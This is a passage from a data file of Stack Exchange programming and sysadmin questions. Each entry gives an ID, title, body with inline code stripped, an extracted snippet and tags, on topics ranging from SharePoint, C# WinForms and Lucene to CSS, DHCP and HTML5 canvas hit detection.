SharePoint site the modification date of files gets updated when it should not,
when no changes to a file have been made.\nI have found two ways to reproduce this
error:\n\nA document is opened for read only access. When the document is closed,
then the modification date in the library gets updated.\nWhen we open the document
library in Explorer, every file we click (just single click, highlighting the file)
the modification date gets updated too.\n\nI stopped all services on the client
machine, to avoid the file being indexed or virus scanned, but it still happens.\
nWhat could cause this?\n", "", "document-library webdav"], "668608": ["how do i
set a userControl function's action from its parent form?", "I have a userControl
function that i want to set its action from the parent form.\nI've already set
userControl button action from that parent form.\nand it worked like this :\nin
Form1.cs :\n\nin userControl1.cs : \n\nthe code up works great.\nbut what i need
is how do i set a Function action .. \nin Form1.cs\n\nin userControl1.cs\n\nthanks
in advance. :)\n", " public Form1()\n {\n InitializeComponent();\n
fileManagerLocal1.SetSendButton(SendMethod);\n }\n private void SendMethod()\
n {\n //whatever ...\n }\n", "c# winforms function usercontrols
action"], "4851369": ["MageUI not including compatibleFrameworks element", "I've
got a ClickOnce .NET 4 app deployed by VisualStudio 2010, via UNC Path. I open the
.application file, change the startup location to use the http address, sign, and
close. The app then gives this error: - Application manifest does not accept
specification of .\nDoes anyone know how to get MageUI to include this needed
element when I sign?\nThis is similar to:
http://stackoverflow.com/questions/2654320/why-does-mage-not-generate-a-
compatibleframeworks-attribute \nI've tried opening MageUI from the location
suggested, to no avail, and I'd really rather not have to use MSBuild. This is a
simple app and I'd much prefer Visual Studio's simple built in deployment. \nAlso,
in case anyone's wondering, I can't deploy via http through visual studio because
that requires frontpage extensions to be installed, among other reasons.\n", "",
".net-4.0 clickonce"], "4904219": ["HTML Editor for CBuilder/Delphi", "I need to
find basic WYSIWYG HTML editor component for C++Builder 5 to let users to create
some simple text that I will paste into existing HTML page template.\nJust a simple
support to create links, add images, use headers/bold/italic.\n", "", "delphi
components c++builder"], "681606": ["lucene ngram tokenizer usage for fuzzy phrase
match", "I am trying to achieve fuzzy phrase search (to match misspelled words) by
using lucene, by referring various blogs I thought to try ngram indexes on fuzzy
phrase search.\nBut I couldn't find ngram tokenizer as part of my lucene3.4 JAR
library, is it deprecated and replaced with something else ? - currently I am using
standardAnalyzer where I am getting decent results for exact match of terms.\nI
have below two requirements to handle.\nMy index is having document with
phrase \"xyz abc pqr\", when I provide query \"abc xyz\"~5, I am able to get
results, but my requirement is to get results for same document even though I have
one extra word like \"abc xyz pqr tst\" in my query (I understand match score will
be little less) - using proximity extra word in phrase is not working, if I remove
proximity and double quotes \" \" from my query, I am getting expected results (but
there I get many false positives like documents containing only xyz, only abc
etc.)\nIn same above example, if somebody misspell query \"abc xxz\", I still want
to get results for same document.\nI want to give a try with ngram but not sure it
will work as expected.\nAny thoughts ?\n", "", "solr lucene fuzzy-search"],
"5298145": ["How To Start And Stop A Continuously Running Background Worker Using A
Button", "Let's say I have a background worker like this:\n\nHow can I make this
background worker start and stop using a button on a WinForm?\n", "private void
backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)\n {\n
while(true)\n {\n //Kill zombies\n }\n
}\n", "c# winforms backgroundworker"], "244914": ["MySQL increase field by count of
REGEXP matches", "I am trying to construct a complex query. I have a table, and in
that table, I would like to add an artificial field, , using . That's not the
problem. The problem is this: I have several regular expressions, and I would like
to increase the match_count with each regular expressions found. These expressions
are to be applied to several fields of the table, like and , and . Columns can be
re-used, as can be the expressions, but the match_count field should correspond to
the number of matches.\nIf possible, it would also be cool if, if a column matches
a regular expression several times, the match count were increased not by one, but
by the number of these matches.\n", "match_count", "mysql regex count match"],
"2741959": ["Not sure what this line does", "\nThis line confuses me quite a bit.
the full program is here if you need it to follow:
http://paste.lisp.org/display/124929\n'Parse-integer' will turn a string into and
integer right? if possible. And ':junk-allowed t' makes it accept junk strings
somehow right?\nNot sure what the 'or' and the 0 at the end are though.\nThanks.\
n", "(or (parse-integer (prompt-read \"Rating\") :junk-allowed t) 0)\n", "lisp
common-lisp"], "2172407": ["Add an initial view (front page) with a tab bar
application (Xcode 3.2.5)", "I have created a tabbar application from the default
templates. I want to add a frontpage that has a picture, the title of the App and
that will not include the tab bar, and which will not have a tab on the tab bar.\
nThis would be the first page that someone sees when launching the App, and would
have an \"Enter\" button leading into the firstviewcontroller ideally i.e. the
first tab of the tab bar.\nI cannot find how to do this at all - have explored
Splash screens (but understand this is not what it's meant for). And all the codes
that may work don't seem to be for XCode 3.2.5.\nIs there a tutorial out there?\
nAny help much much appreciated.\n", "", "iphone cocoa-touch view tabbarcontroller
initial"], "4013029": ["Looking for a file sharing/hosting plugin", "I am in search
of a file sharing/hosting plugin that will allow users to have a profile page with
basic info (developer name, email, bio) as well as the ability for them to upload
files. These files would be available to other users. The users would have access
to the files via the users profile page.\nI've Google'd around extensively for a
plugin that will allow this, but I'm not finding anything. Does anyone have any
suggestions?\n", "", "plugin-recommendation hosting sharing"], "5235868": ["How can
I establish this inequality?", "I'm trying to show that for $m\\geq 1$ and $n>2$,
we have the following inequality:\n\n$4(m-1)^{n} + 2nm^{n-1} \\geq (m-2)^{n} + 3
m^{n}$\n\nAny ideas?\nThanks for the help!\n", "", "inequality"], "28779":
["Finding a substring match asynchronously. Recursion? Flattening?", "I really want
to like node.js with redis, but I can't conquer asynchronicity. Again I have what
is a simple task in a traditional database and language. My question is more about
accomplishing control flow and logic in asynchronous database fetching than whether
my problem-solving approach is optimal or not.\nHere's what I'm trying to do: I
have redis keys made up of words, let's just say and . Now, given an input string,
I want to know what the longest substring is, that matches a key in redis. I only
need to check substrings starting from position 0 of the given string, so the
complexity is low. \nExample: has the key in it, and also , but is longer. does
not match either key.\nMy approach is: start with the whole string and check if it
matches a key. If yes, return that key. Otherwise, repeat the same process with the
string minus the last character.\nHow can I accomplish this task? Different
approaches are welcome. \nI know a little about the library and it looks like is
best for what I'm doing. However, it appears that I need to type all the functions
from string.length, string.length-1, etc. until the last single character. What I'm
looking for is a good replacement for a for loop with a break.\nBelow I test with
an input I assume is always 3 characters or more (because it's already ugly and
more nesting seems pointless for testing). It works, resulting in , and -> .
Nonsense gives .\n\nI also tried recursion and it might be the best method. (Thanks
to Timonthy Strimple for correcting a mistake).\n\n", "car", "node.js redis"],
"887580": ["set a SQL trigger to take over from my update statment", "Goodday I
would like to make a trigger to replace this TSQL query below. My attempt at this
trigger (bottom) is not working. thanks \n\nreplace with\n\n", "UPDATE Diary\
nSET CasualLeaveTaken = 1 \nWHERE (DaysActivity = N'casual
leave')and (CasualLeaveTaken =0)\n", "sql-server tsql triggers"], "684981": ["Is
there an Objective-C client for Cassandra?", "I want to access a Cassandra instance
in an Iphone application and i need an objectiveC client \nfor that. I couldnt find
one, Thrift is supposed to support ObjectiveC but I couldnt figure out how to do
that. If anyone has any knowledge on the subject it is very much appriciated.\n",
"", "objective-c cassandra"], "3433882": ["Communication between javascript and GWT
code", "I've created a map using google maps v3 api for GWT. I'm trying to present
a kml over this map, but this is not possible because it is stored locally. So, I'm
trying to use geoxml3 in order to parse my local kml. \nI need the javascript code
to be able to \"see\" the map I created using GWT. How can I do this?\nI create the
map using\nmap = GoogleMap.create(Document.get().getElementById(\"map_canvas\"),
myOptions);\n(map_canvas is a div in my html page) \nI want to call a Javascript
function in order to parse the KML file and present it on my map. I know how to
call a JS function but I don't know what to write in its body.,,\n", "",
"javascript google-maps gwt"], "5662625": ["Suppress indentation after environment
in LaTeX", "I'm trying to create a new environment in my LaTeX document where
indentation in the next paragraph following the environment is suppressed.\nI have
been told (TeXbook and LaTeX source) that by setting to , the TeX typesetter will
execute this at the beginning of the next paragraph and thus remove the
indentation:\n\nSo this is what I do, but to no effect (following paragraph is
still indented):\n\nI have studied LaTeX's internals as well as I could manage. It
seems that the routine says and at some point, which may be the reason LaTeX
ignores my setting. doesn't help either. I know about but want to do this
automatically.\nExample document fragment:\n\nInternal routines and switches of
interest seem to be , and others. Thanks for your help.\n", "\\everypar", "latex
indentation latex-environment"], "3031144": ["Image not returned by
didFinishPickingMediaWithInfo:", "I'm basically trying to 'get' an image from the
users photo library (or camera).\nThe problem is, no image is returned when on iPad
(Compatibility mode).\nHere is the code:\n\niPhone and iPhone simulator log
(Original image exists):\n\niPad and iPad simulator (Compatibility mode) log:
(there is no Original Image!)\n\nAny ideas on why this is happening? I really need
the iPad image.\nI tried getting the image from the assets library (am i doing this
correctly?), but the image is null. \n\nThank you for any suggestions.\nEDIT: I
tried building the application in the iPad 4.3 simulator. Here there are no
problems in retrieving the image - the original image exists in the info
dictionary. Is there another way to do it in IOS 5?\n", "-
(void)imagePickerController:(UIImagePickerController *)picker
didFinishPickingMediaWithInfo:(NSDictionary *)info {\n\n NSLog(@\"info: %@\",
info);\n}\n", "ios ipad uiimagepickercontroller"], "2955540": ["What's the best way
to override a user agent CSS stylesheet rule that gives unordered-lists a 1em
margin?", "I'm working on a web app that has a topBar similar to facebook's blue
bar at the top. I have an unordered list within the div of that bar to list some
items, like Inbox, Notifications, etc. The UL has a 1em margin as defined by the
user agent stylesheet of my browser. This is a problem because it's pushing my
topBar down 1em. How can I override this to make the border of the ul = 0? I've
read that overriding user agent stylesheets is a bad idea so I'm curious to learn
what is best to do. Thanks.\nEDIT: Here's the CSS file:\n\nAnd the html:\n\n",
"body {\n\nmargin:0px;\npadding:0px;\n}\n\n#topBar{\n background-color:#CCCCCC;\
n height: 50px;\n width:100%;\n z-index:-1;\n\n}\n\n#mainNav{\n
margin:0 auto;\n width:900px;\n}\n#logo{\n float:left;\n}\n\n#mainNav ul li{\
n float:left;\n border:0px; \n margin:0;\n padding:0;\n font-
size:10px\n}\n", "css override"], "4398025": ["Calculating download times with PHP
Curl", "I'm using PHP Curl to measure download times for a webpage. I know this
isn't a good representation of actual download times for a browser; but I'm trying
to get as close as possible using this method.\nMy webpage has 3 files associated
with it\n\nindex.html\nmy_pic.gif\nstyle.css\n\nI'm doing a Curl on each of those
files then adding the download times together to get the total download time.\nMy
question is how should I do the calculations to get as close as possible to
simulating a browser download?\nThe Curl options for measuring download times are:\
n\nWould a browser go through all of those steps for each of the 3 files above?\
nFor Example:\nLet's say I do a CURLINFO_TOTAL_TIME on index.html.\nShould I also
do a CURLINFO_TOTAL_TIME on my_pic.gif and style.css? Then add those numbers to the
CURLINFO_TOTAL_TIME on index.html.\nOR\nShould I do a CURLINFO_TOTAL_TIME minus
CURLINFO_STARTTRANSFER_TIME on my_pic.gif and style.css? Then add those numbers to
the CURLINFO_TOTAL_TIME on index.html.\n", "CURLINFO_TOTAL_TIME\
nCURLINFO_NAMELOOKUP_TIME\nCURLINFO_CONNECT_TIME\nCURLINFO_PRETRANSFER_TIME\
nCURLINFO_STARTTRANSFER_TIME\n", "php curl"], "3655195": ["C# HEX Value to IntPtr",
"I have a hex value to a window i found using Spy++.\nthe value is: 00010010\
nThanks to an answer to a question i asked earlier, i have this code:\n\nNow, as
far as i understand it, IntPtr hwndParent will contain the handle to the window
WINDOW HERE. How can i rewrite that line to use my hex handle? I tried:\n\nBut it
didnt work. Any ideas?\n", "IntPtr hwndf = this.Handle;\nIntPtr hwndParent =
FindWindow(\"WINDOW HERE\", null); ;\n\nSetParent(hwndf, hwndParent);\nthis.TopMost
= false;\n", "c# hex handle intptr"], "4005746": ["Commit to Tortoise SVN after
Hudson build?", "I found this: Plugin to commit hudson build artifact but after ~5-
6 hours of trying every combination of settings imaginable I have not been able to
successfully commit to our https' svn.\nI am considering doing this through a batch
file -- but have no idea if it is possible to obscure the password... if it isn't
then this isn't really an option, either.\nIs anyone doing this successfully? Could
use some advice.. thanks.\n", "", "svn tortoisesvn hudson"], "1688784": ["classic
ASP protection against SQL injection", "I've inherited a large amount of Classic
ASP code that is currently missing SQL injection protection, and I'm working on it.
I've examined in detail the solutions offered here: Classic ASP SQL Injection
Protection\nOn the database side, I have a Microsoft SQL server 2000 SP4\
nUnfortunately stored procedures are not an option.\nAfter studying php's
mysql_real_escape_string (
http://www.w3schools.com/php/func_mysql_real_escape_string.asp ) , I've replicated
its functionality in ASP.\nMy question(s) are:\n1) Does Microsoft SQL server 2000
have any other special characters that need to be escaped that are not present in
MySQL ( \\x00 , \\n , \\r , \\ , ' , \" , \\x1a )\n2) From an answer in Can I
protect against SQL Injection by escaping single-quote and surrounding user input
with single-quotes? I read \"One way to launch an attack on the 'quote the
argument' procedure is with string truncation. According to MSDN, in SQL Server
2000 SP4 (and SQL Server 2005 SP1), a too long string will be quietly truncated.\"\
nHow can this be used for an attack (I really can't imagine such a scenario) and
what would be the right way of protecting against it?\n3) Are there any other
issues I should be aware of? Any other way of injecting SQL?\nNote: A 30-min
internet search said that there are no libraries for classic ASP to protect against
SQL injection. Is this so, or did I really fail at a basic task of searching?\n",
"", "asp-classic sql-server-2000 sql-injection"], "666752": ["Good examples of
Clojure macros usage which demonstrate advantages of the language over the
mainstream?", "I am thinking about learning Clojure, but coming from the c-syntax
based (java, php, c#) world of imperative languages that's going to be a challenge,
so one naturally asks oneself, is it really worth it? And while such question
statement can be very subjective and hard to manage, there is one specific trait of
Clojure (and more generally, the lisps) that I keep reading about, that is supposed
to make it the most flexipowerful language ever: the macros.\nDo you have any good
examples of macro usage in Clojure, for purposes which in other mainstream
languages (consider any of C++, PHP, Perl, Python, Groovy/Java, C#, JavaScript)
would require much less elegant solutions/a lot of unnecessary
abstraction/hacks/etc.\n", "", "macros clojure"], "3433883": ["trim query string(s)
from url", "Some urls are generated via our script. I need to trim all these via
htaccess;\nI have a few hundred of them, so all ?xxx have to be cleaned.\nie: \n\
nto \n\nor anything starting with ?, the ? and the rest is not needed.\nI tried
RewriteRule ^\\?(.*)$ / [R=301,L] but did not work :(\nWhat do I have to use
instead of \\?(.*) ?\n", "domain.com/page.html?word=gclid=4nwseuoSg \n", "regex
string apache .htaccess http-status-code-301"], "3248954": ["Xorg and three button
mouse: emulate more than scroll alone", "I'm happy with my three-button mouse. But
it could have more functions.\nWhen I press the middle button (button 2) and move
the mouse, I can scroll up/down and left/right. shows me that when I drag the
mouse with button 2 pressed it actually emulates button 4 (scroll up), 5 (down), 6
(left) and 7 (right).\nBut can we take this further? For example, I would like to
emulate button 8 if I press button 1 and 2 together, and button 9 if i press button
2 and 3. This would allow me to have the 'back' and 'forward' functionality in my
browser.\nIt would also be nice to get more functionality by pressing, for example,
shift+mouse1, alt+mouse2. You could have a whole new set of emulated keys. Can this
be done and if yes, then how?\n", "xev", "mouse xorg emulation input"], "157781":
["Conditional formatting to highlight the largest number in each row", "I've got
several rows and columns of numbers. For each row I want to highlight the record
that is the highest number or tied for the highest number in that row. I know how
to do this for one row, but how can I easily apply this across multiple rows?\n",
"", "microsoft-excel microsoft-excel-2007"], "4495689": ["Unable to copy/paste text
in cmd.exe without splits", "I need to copy/cut and paste the following verbatim in
cmd.exe:\n\nEvery time I try, it splits it every two rows. How can I get this to
work?\n", " <<<< Identifier Token Start >>>>\
n853A7223817D29062140F28C8C4E1439\nD57FC143B6897AD1A51CC32EB660423F\
n6CDAF406A0FA0A6610851C52511A8477\nA9DEE6B5CD21918F3F6F2ADDC6411038\
nC58F673EF3DF253142650A88FEA930A5\nE4CC3397F5D1082D78A977B50FB007FC\
n60D3206E83516B00523661E5EB27EA72\n44FECBC38D310EF4F0AA462A072DA649\
n3A5BFCA82F92671B3992496F7F49A269\nE8AD1A14E23A39CD68313C4DD421C816\
n33BF1E277F32E29DD31F4FE0961153C8\n47BE975E3A43793C6A17B589F95347EA\
n9315E80E8E36B5C853C77C4B6C425893\nEF1F7A1A0A6E05A3F4D296C0963F5E34\
n98A383EFD75588D5CE2B351E409B99B9\n41BC42FE4746108CAF9F486E5E5B1DD7\n<<<<<
Identifier Token End >>>>>\n--------------------------------\n", "windows-xp
command-line copy-paste"], "3931871": ["Inserting binary/hex data into my sqlite
database", "So very simply put I want to do the following:\nI have a byte[]
receiveData that gets my hex data from a microprocessor, what I want to do with
this data is simply insert it into my sqlite database, the column I am inserting
into is defined as a BLOB. The problem I am facing is I am not sure if I am
inserting the data correctly, the data that I have that is going into the table is
as follows.\n\nAnd what I am seeing in my table is just the first four bytes then
nothing more, is this because I have a 0x00? Could someone please tell me how I
should insert this data into my database? Some of my code below.\
nDatabaseHelper.java\n\nSQubeDBBiometric.java\n\nAnd the actual code where I insert
the data is below, the receiveData is once again defined as a byte [] and it is the
actual data inserted/received as shown above.\n\nAs I said, when I try insert that
data into my database, only the first bytes up to the 0x00 are inserted, not sure
what exactly the problem is or what the better way to insert this into a database
is?\nThank you in advance\nUPDATE I realised that it is not the SQLite that is
giving an error, rather the data being received with my getInputStream() from the
microprocessor, it seems that it is cutting of data once it finds a 0x00, is there
any reason for this and perhaps a fix?\n", "receiveData[0] = 0x02;\nreceiveData[1]
= 0x37;\nreceiveData[2] = 0x72;\nreceiveData[3] = 0x82;\nreceiveData[4] = 0x00;\n.\
n.\n.\nreceiveData[x] = 0x03;\n", "sqlite3"], "5049948": ["Some Problems while
learning STL", "I am using g++ in CodeBlocks IDE in Ubuntu.\nI am new to STL and
some part of C++.\nQ1: //answered\n\nis correct, but when I changed \n\ninto\n\nthe
compiler says no matching function call at the fourth line.\nQ2: //sorry i did not
make the problem clear the first time\n\nNote that the only difference between
firstLess1 and firstLess2 is that firstLess1 is declared in PS.\nwhen I call the
function :\n\nthe compiler gave me an error 'undefined reference to
PS::firstLess1'.\nand then I changed to\n\nthen it passed the compile. \nMore
strange, in some other part of the program, i used both\n\nand the compiler did not
gave me an error.\n", "std::istream_iterator< std::string > begin
( dictionaryFile );\nstd::istream_iterator< std::string > end;\nstd::vector<
std::string> dictionary;\nstd::copy ( begin, end, std::back_inserter ( dictionary )
);\n", "c++ stl"], "5084755": ["Not displaying decimals if double is a whole
number?", "I am making a graphical calculator program in Java and have a method
that performs an operation based on user input, and returns a double to be
displayed in a . However, I would like the result to be displayed as a whole
number, without a following where there are no significant digits after the
decimal point, but still display decimal points when necessary. What's the most
efficient way of doing this?\n", "JTextField", "java double decimal calculator"],
"4013282": ["Opscode Chef for Amazon EC2", "I am new to opscode chef. I want to
integrate opscode chef in my web application. I have created a node using the web
console of opscode on Amazon EC2. Now I want to know that what to do and how to
play with cookbooks and other part of chef? I am also unable to connect with the
instance i have created on Amazon EC2. I am using the hosted chef server.\n", "",
"amazon-ec2 chef-recipe"], "5259294": ["PDF Layers (OCG) using xelatex", "I am
switching from pdflatex to xelatex and have trouble finding an alternative on how
to do layers in the pdf. So far I have been using ocg.sty to separate relevant
content from eye-candy content (background images, illustrations), so the reader
can hide the latter for printing.\nHowever, ocg.sty does not work with xelatex due
lack of pdfobj support. The newer CTAN ocgtools package also has this issue and
will work with pdflatex, but not xelatex. \nIs there currently any way to produce
ocg layers using xelatex? Or is there another approach for hiding/disabling some
parts (not necessarily only images) in a PDF before printing?\n", "", "xetex pdf
ocg"], "5622763": ["Can I just delete leases in DHCP to force a new lease on
client?", "I need to force a DHCP renewal on all my clients (to make them point to
my new DNS server). \nSome of them have about 4 days left in their leases. Can I
just delete the leases from the server? Will this force them to check in to DHCP
again and grab another lease or is this a bad idea?\nThanks\n", "", "windows-
server-2003 dhcp"], "5200590": ["Rendering an SSRS report in HTML 4 in ASP.NET MVC
4", "According to the list at
http://msdn.microsoft.com/en-us/library/ms365156.aspx#Features it should be
possible to render an SSRS report in HTML 4 when running SQL Server Express 2008 R2
with Advanced Services. However when I attempt to do so I get a
ReportProcessingException.\nIs it actually possible to do this or is the
information in the MSDN article incorrect? I can export to the other listed formats
without difficulty, but for some reason it won't work with HTML40.\n", "",
"asp.net-mvc-4 ssrs-2008"], "5635046": ["Meta-programming: output method body as
text", "I'm dynamically defining a method in a module, and I'd like to check that
once the method is bound to a class instance that the body of the method is what
I'm expecting. Is there a way to output (as text) of the body of a method?\nModule
:\n\nclass being mixed with:\n\nSo I'd like to see the implementation of the mixin
when applied to \nprobably via for convenience.\nUPDATE: Per @~/ I saved the
string to a variable and 'd it. That worked perfectly. Which brought to light an
error in my code (the reason I wanted to see the code in the first place). Code
below is much better, and works as expected.\n\n", "controller_mixins.rb", "ruby
metaprogramming"], "9076": ["ReCapcha Styling messing up", "\nPossible Duplicate:\
nAnyone know why ReCaptcha may be styling wrong \n\nAnyone know what css style
rules may be creating a ReCaptcha visual error such as this. Really puzzled to
what it might
be.\nhttps://plus.google.com/photos/112398887771584097008/albums/541152841399416856
1/5411528423231225330?banner=pwa\nThanks for any help\n", "", "php css styles
recaptcha"], "5898367": ["Push Notifications wont work on distribution", "Ok now I
have a problem with the push notifications. I have set them successfully for the
developing part and I was receiving them on my device. Now I have the application
on app store and I cant receave notifications.\nThis is step by step what I did:\n-
I have created a provisioning profile for distribution and connected it to the app
id that has push notifications for distribution and development.\n-I have built the
app for distribution with that provisioning profile.\n-I have submitted the app on
app store.\n-Now I have 2 certificates in keychain access Apple Production IOS Push
Service:AppID and iPhone Distribution:CompanyName\n-I have made .pem file from both
and tested it with both. No notification has arrived\nI really have no idea what to
try and how to fix this.\n", "", "iphone push-notification distribution"],
"635374": ["AudioTrack. How can I use sessionId?", "Documentations says: sessionId
- Id of audio session the AudioTrack must be attached to\nMay I use it something
like this?: \n\nWhat is right way to connect audio track to stream wich used to
media player. Can I make changes on this stream using AudioTrack?\nAny ideas would
be helpfull. Thank you.\n", "MediaPlayer mp = MediaPlayer.create(this,
R.raw.test);\n mp.start();\n\nint minSize =
AudioTrack.getMinBufferSize(\n 44100, AudioFormat.CHANNEL_OUT_STEREO, \n
AudioFormat.ENCODING_PCM_16BIT );\n\n at = new
AudioTrack(AudioManager.STREAM_MUSIC, \n 44100,
AudioFormat.CHANNEL_OUT_STEREO, \n
AudioFormat.ENCODING_PCM_16BIT, minSize, \n
AudioTrack.MODE_STREAM, mp.getAudioSessionId());\n\n at.setStereoVolume(0.0f,
1.0f); \n", "android audio"], "1198431": ["Three mouse detection techniques for
HTML5 canvas, none adequate", "I've built a canvas library for managing scenes of
shapes for some work projects. Each shape is an object with a drawing method
associated with it. During a refresh of the canvas, each shape on the stack is
drawn. A shape may have typical mouse events bound which are all wrapped around the
canvas' own DOM mouse events.\nI found some techniques in the wild for detecting
mouseover on individual shapes, each of which works but with some pretty serious
caveats. \n\nA cleared ghost canvas is used to draw an individual shape by itself.
I then store a copy of the ghost canvas with . As you can imagine, this takes up a
LOT of memory when there are many points with mouse events bound (100 clickable
shapes on a 960x800 canvas is ~300MB in memory).\nTo sidestep the memory issue, I
began looping over the pixel data and storing only addresses to pixels with non-
zero alpha. This worked well for reducing memory, but dramatically increased the
CPU load. I only iterate on every 4th index (RGBA), and any pixel address with a
non-zero alpha is stored as a hash key for fast lookups during mouse moves. It
still overloads mobile browsers and Firefox on Linux for 10+ seconds.\nI read about
a technique where all shapes would be drawn to one ghost canvas using color to
differentiate which shape owned each pixel. I was really happy with this idea,
because it should theoretically be able to differentiatate between millions of
shapes.\nUnfortunately, this is broken by anti-aliasing, which cannot be disabled
on most canvas implementations. Each fuzzy edge creates dozens of colors which
might be safely ignored except that /they can blend/ with overlapping shape edges.
The last thing I want to happen when someone crosses the mouse over a shape
boundary is to fire semi-random mouseover events for unrelated shapes associated
with colors that have emerged from the blending due to AA.\n\nI know that this not
a new problem for video game developers and there must be fast algorithms for this
kind of thing. If anyone is aware of an algorithm that can resolve (realistically)
hundreds of shapes without occupying the CPU for more than a few seconds or blowing
up RAM consumption dramatically, I would be very grateful.\nThere are two other
Stack Overflow topics on mouseover detection, both of which discuss this topic, but
they go no further than the 3 methods I describe.\nDetect mouseover of certain
points within an HTML canvas? and\nmouseover circle HTML5 canvas.\nEDIT:
2011/10/21\nI tested another method which is more dynamic and doesn't require
storing anything, but it's crippled by a performance problem in Firefox. The method
is basically to loop over the shapes and: 1) clear 1x1 pixel under mouse, 2) draw
shape, 3) get 1x1 pixel under mouse. Surprisingly this works very well in Chrome
and IE, but miserably under Firefox. \nApparently Chrome and IE are able to
optimize if you only want a small pixel area, but Firefox doesn't appear to be
optimizing at all based on the desired pixel area. Maybe internally it gets the
entire canvas, then returns your pixel area.\nCode and raw output here:
http://pastebin.com/aW3xr2eB.\n\n", "getImageData()", "javascript algorithm
graphics html5-canvas"], "2180199": ["How many requests per second should my
asp(class) app handle", "I'm profiling a asp(classic) web service. The web service
makes database calls, reads/writes to files, and processes xml. On a windows server
2003 box(2.7ghz, 4 core, 4gb ram) how many requests per second should I be able to
handle
before things start to fail.\nI'm building a tool to test this, but I'm looking
for a number of requests per second to shoot for.\nI know this is fairly vague, but
please give the best estimate you can. If you need more information, please ask.\
n", "", "asp-classic statistics request"], "4432967": ["PHP-FPM very high
processors usage", "I use a bunch of nginx + php-fpm on a server running Debian
Lenny x86_64. Sometimes the PHP-FPM's processes loads all 8 cores at 100% and this
load does not fall until to forced restart PHP-FPM. How can I determine what is the
problem of such jumps load? In the PHP-FPM's logs is nothing unusual. Version of
PHP - 5.3.3.\n", "", "php nginx php-fpm"], "3134841": ["ASP.Net MVC RouteData and
arrays", "If I have an Action like this:\n\nI can hit it with the following URL:\n\
nBut in my ViewPage, I have this code:\n\nUnfortunately, MVC is not smart enough to
recognize that the action takes an array, and unrolls the list to form the proper
url route. instead it just does a .ToString() on the object which just lists the
data type in the case of a List.\nIs there a way to get Html.ActionLink to generate
a proper URL when one of the destination Action's parameters is an array or list?\
n-- edit --\nAs Josh pointed out below, ViewData[\"stuff\"] is just an object. I
tried to simplify the problem but instead caused an unrelated bug! I'm actually
using a dedicated ViewPage<T> so I have a tightly coupled type aware Model. The
ActionLink actually looks like:\n\nWhere ViewData.Model.Stuff is typed as a List\
n", "public ActionResult DoStuff(List<string> stuff)\n{\n ...\n
ViewData[\"stuff\"] = stuff;\n ...\n return View();\n}\n", "c# asp.net-mvc
arrays list asp.net-mvc-routing"], "1198439": ["Mac and windows 7 file sharing
specific user", "I try to share a specific directory to my windows 7 computer, but
I want it to use a specific user that I created on my mac to connect to it. \nI saw
this tutorial: http://www.trickyways.com/2010/06/how-to-access-mac-files-from-
windows-7/ wich is exactly what I want to do, but it ain't working.\nFor some
reason, it never prompts me for username/password when I try to connect on my mac
when I'm on Windows 7. On top of that, when I set the permission \"No Access\" to
the \"Everyone\" user on my mac, my windows computer simply don't see the
directory. If I set the permission to \"Read/Write\" or \"Read only\" it works. \nI
simply don't want that everyone in my workgroup to be able to read my files. I want
to create specific users on my mac and share them to the persons I want...\nAny
thoughts?\n", "", "windows-7 osx mac file-sharing samba"], "48440": ["Image tiling
on Android, garbage collector slows down", "I'm implementing an application that
requires lots of big images, with zooming, paging using viewPager and all that
stuff.\nUsing the whole image is not an option, because it will give an OutOfMemory
exception, so I'm implementing a custom tiling system. I already have the image cut
in several pieces on the sdcard, and 3 versions of them, low, medium, and high
quality.\nThe idea is to load the right tiles depending on the zoom.\nAll beautiful
in theory, and this system is already working nicely on our iOS app, but on
Android, it becomes unbearably slow because of the garbage collector. \nSomehow, it
seems that it takes too long to the garbage collector to free the memory of the
bitmaps, and my application tries to create new bitmaps before the GC cleared the
ones i asked him to clear, so, if the user paginate too fast, memory will grow and
at some point all the app will became slow and eventually it will crash on OOM.\
nEvery time the user goes to the next page, I call the following on the old
bitmaps:\nlowResBitmap.recycle();\nlowResBitmap = null;\nIs there a better way to
handle Bitmap allocation and deallocation on Android?\nEDIT: I forget to
call .recycle() on some bitmaps, now it isn't crashing on OOM anymore, but it's
very slow (comparing to our iOS app), because every time the user turns the page,
Android calls GC many times, and it slows down my drawing thread.\n", "", "android
garbage-collection"], "2369710": ["check TFTP share", "is there any way to check
which folders are shared by TFTP ?\n", "", "linux share tftp"], "620979": ["How to
make interactive logo design without flash?", "I was looking around for suggestions
on how to make interactive logo designs like this one google did on earth day:\
nhttp://www.youtube.com/watch?v=UT40iHDX5p0\nI know it can be done with flash
easily, but I don't like using it, so instead I would like to use jQuery and css
features. I don't know where to start and what's the logic behind this.\nany
suggestions?\n", "", "jquery css design css3 graphical-logo"], "6003115": ["google
graph does not work with jquery button function", "As you may see below, I created
the function getChart();\nIt works when called by itself, but does not display the
chart when I wrap it into $(document).ready(function(){...});\nI also attached the
file..\nAny help is highly valued and appreciated.. thanx..\n\n", "<!DOCTYPE html
PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n<html
xmlns=\"http://www.w3.org/1999/xhtml\">\n<head>\n <meta http-equiv=\"content-
type\" content=\"text/html; charset=utf-8\" />\n <title>Google Visualization API
Sample</title>\n <script type=\"text/javascript\"
src=\"http://www.google.com/jsapi\"></script>\n <script type=\"text/javascript\"
src=\"jquery.js\"></script>\n <script type=\"text/javascript\">\n\n function
getChart(){\n google.load('visualization', '1', {packages: ['corechart']});\n
function drawVisualization() {\n // Populate the data table.\n\n var
dataTable = google.visualization.arrayToDataTable([\n ['Mon', 20, 28, 38,
45],\n ['Fri', 68, 66, 22, 15]\n // Treat first row as data as
well.\n ], true); \n\n // Draw the chart.\n var chart = new
google.visualization.CandlestickChart(document.getElementById('visualization'));\n
chart.draw(dataTable, {legend:'none', width:600, height:400});\n }\n\n
google.setOnLoadCallback(drawVisualization);\n\n }\n\n $
(document).ready(function(){\n $('#idbutton').click(function(){\n
getChart();\n });\n });\n\n\n </script>\n</head>\n<body>\n<input
id=\"idbutton\" type=\"button\" value=\"button\" />\n<div
id=\"visualization\"></div>\n</body>\n</html>\n", "javascript jquery ajax button
google-charts"], "3267582": ["Git committing creates a file called \"-\"", "It's
